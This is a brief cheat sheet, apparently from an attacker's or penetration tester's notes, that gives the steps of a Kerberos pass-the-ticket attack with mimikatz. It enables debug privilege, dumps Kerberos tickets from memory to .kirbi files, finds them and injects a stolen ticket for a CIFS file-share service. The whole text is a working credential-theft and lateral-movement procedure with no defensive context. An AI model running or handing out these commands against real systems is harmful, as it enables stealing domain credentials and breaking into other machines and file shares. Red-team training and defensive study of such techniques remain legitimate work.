Pass the Ticket

##run mimikatz enable debug privileges 
privilege::debug

##export the tgt/tgs from memory
sekurlsa::tickets /export

##exit mimikatz and search for tickets
dir *.kirbi

##run mimikatz and inject one of the found tickets that have @@cifs
kerberos::ptt [0;12bd0][e-mail]